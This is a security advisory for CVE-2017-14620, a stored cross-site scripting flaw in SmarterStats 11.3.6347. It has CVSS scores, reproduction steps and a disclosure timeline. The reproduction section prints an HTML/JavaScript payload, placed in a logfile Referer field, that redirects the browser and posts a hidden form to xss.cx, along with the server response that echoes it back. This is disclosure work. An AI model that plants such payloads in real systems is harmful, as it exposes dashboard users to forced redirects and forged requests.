SmarterStats 11.3.6347 Cross Site Scripting

2017.10.02
Credit: David Hoyt
Risk: Low
Local: No
Remote: Yes
CWE: CWE-93
CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

---------------------------- Title: CVE-2017-14620 ---------------------------- TL;DR: SmarterStats Version 11.3.6347, and possibly prior versions, will Render the Referer Field of HTTP Logfiles in URL /Data/Reports/ReferringURLsWithQueries ---------------------------- Author: David Hoyt Date: September 29, 2017 ---------------------------- CVSS:3.0 Metrics CVSS:3.0 Vector String: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:H/RL:O/RC:C/CR:M/MAV:N/MAC:L/MPR:N/MUI:R/MS:U/MC:L/MI:N/MA:N CVSS:3.0 Scores: Base Score 4.3, Temporal Score: 4.1, Environmental Score: 4.1 ---------------------------- Keywords ---------------------------- CVE-2017-14620, CWE-533, CWE-532, CWE-117, CWE-93, CAPEC-86, CAPEC-79, Stored Document Object Model Cross Site Scripting (Stored DOM XSS), Client Side Request Forgery (CSRF), Open Redirection, HTTP Logfiles, Exploit, PoC, HTML Tags, SmarterStats 11.3 ---------------------------- CVE-2017-14620 Requirements ---------------------------- SmarterStats Version 11.3 HTTP Proxy (BurpSuite, Fiddler) Web Browser (Chrome - Current/Stable) User Interaction Required - Must Click Referer Link Report Supported Windows OS Microsoft .NET 4.5 ---------------------------- CVE-2017-14620 Reproduction ---------------------------- Vendor Link https://www.smartertools.com/smarterstats/website-analytics Download Link https://www.smartertools.com/smarterstats/downloads Step 1: Test with an HTTP Logfile containing a URL-encoded String to the Referer Field with HTML Tags to be Rendered in a Browser: http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\" content=\"5; url=http://xss.cx/\"><title>Loading</title></head>\n<body><form method=\"post\" action=\"http://xss.cx/\" target=\"_top\" id=\"rf\"><input type=\"hidden\" name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/> </form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn Step 2: Verify the Injected IIS Logfile Step 3: Process the Logfiles, Select the Referer URL Report. In an HTTP Proxy, watch the URL http://localhost:9999/Data/Reports/ReferringURLsWithQueries when Browsing http://localhost:9999/Default.aspx in Chrome (current/stable). Step 4: Verify the Result in your HTTP Proxy returned from the Server: {"c":[{"v":"http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\" content=\"5; url=http://xss.cx/\"><title>Loading</title></head>\n<body> <form method=\"post\" action=\"http://xss.cx/\" target=\"_top\" id=\"rf\"> <input type=\"hidden\" name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/> </form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn"},{"v":"2","f":"2"}]} In your Browser, the HTTP Response will cause a GET to xss.cx after 5 seconds. Verify in HTTP Proxy. ... GET / HTTP/1.1 Host: xss.cx ... Step 5: Watch your Browser get Redirected to XSS.Cx. ---------------------------- Summary: The Referer Field in IIS Logfiles, and possibly other Field Names, are Rendered by SmarterStats Version 11.3.6347. ---------------------------- Timeline ---------------------------- Reported to SmarterTools on September 19, 2017 Obtain CVE-2017-14620 from MITRE on September 20, 2017 Resolved September 28, 2017 with Version 11.xxxx


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